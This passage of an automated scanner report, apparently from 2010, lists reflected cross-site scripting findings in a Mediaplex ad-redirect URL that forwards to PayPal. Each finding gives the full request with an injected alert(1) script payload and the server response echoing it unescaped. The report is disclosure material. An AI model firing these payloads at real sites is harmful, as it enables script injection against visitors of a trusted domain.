<meta http-equiv="refresh" content="0;URL=https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&7a021"><script>alert(1)</script>74c3c589904=1&mpch=ads">
...[SNIP]...

1.17. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [crlp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The value of the crlp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86820"><script>alert(1)</script>8fcf6963e7e was submitted in the crlp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-93?kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x2286820"><script>alert(1)</script>8fcf6963e7e HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1021
Date: Mon, 01 Nov 2010 21:52:52 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_
...[SNIP]...
w.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x2286820"><script>alert(1)</script>8fcf6963e7e&mpch=ads">
...[SNIP]...

1.18. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [crlp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The value of the crlp request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7fe87"-alert(1)-"a5e178605b6 was submitted in the crlp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-93?kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x227fe87"-alert(1)-"a5e178605b6 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 976
Date: Mon, 01 Nov 2010 21:52:53 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x227fe87"-alert(1)-"a5e178605b6&mpch=ads");
//-->
...[SNIP]...

1.19. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [kw parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The value of the kw request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82628"-alert(1)-"8a31d78e5a4 was submitted in the kw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-93?kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_385525980882628"-alert(1)-"8a31d78e5a4&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 976
Date: Mon, 01 Nov 2010 21:52:44 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_385525980882628"-alert(1)-"8a31d78e5a4&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x22&mpch=ads");
//-->
...[SNIP]...

1.20. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [kw parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The value of the kw request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea702"><script>alert(1)</script>056fa75a491 was submitted in the kw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-93?kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808ea702"><script>alert(1)</script>056fa75a491&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1021
Date: Mon, 01 Nov 2010 21:52:44 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808ea702"><script>alert(1)</script>056fa75a491&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&crlp=3855259808/x22&mpch=ads">
...[SNIP]...

1.21. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [mplx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The value of the mplx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d27c"><script>alert(1)</script>e7f857a73e was submitted in the mplx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-93?kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_38552598082d27c"><script>alert(1)</script>e7f857a73e&crlp=3855259808/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1018
Date: Mon, 01 Nov 2010 21:52:48 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_
...[SNIP]...
nt="0;URL=https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_38552598082d27c"><script>alert(1)</script>e7f857a73e&crlp=3855259808/x22&mpch=ads">
...[SNIP]...

1.22. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [mplx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The value of the mplx request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e94d4"-alert(1)-"54664424a94 was submitted in the mplx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-93?kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808e94d4"-alert(1)-"54664424a94&crlp=3855259808/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 976
Date: Mon, 01 Nov 2010 21:52:48 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808&mplx=AGID_US_GSR1_TM_PPGNGen_EX_Head_KWID_KYWD_ADID_3855259808e94d4"-alert(1)-"54664424a94&crlp=3855259808/x22&mpch=ads");
//-->
...[SNIP]...

1.23. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4de98"-alert(1)-"18dd3e2fabc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-93?4de98"-alert(1)-"18dd3e2fabc=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 553
Date: Mon, 01 Nov 2010 21:52:47 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&4de98"-alert(1)-"18dd3e2fabc=1&mpch=ads");
//-->
...[SNIP]...

1.24. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-93

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5dcfd"><script>alert(1)</script>d444d7ff20 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-93?5dcfd"><script>alert(1)</script>d444d7ff20=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 595
Date: Mon, 01 Nov 2010 21:52:47 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&5dcfd"><script>alert(1)</script>d444d7ff
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&5dcfd"><script>alert(1)</script>d444d7ff20=1&mpch=ads">
...[SNIP]...

Report generated by XSS.CX at Thu Nov 04 16:56:22 CDT 2010.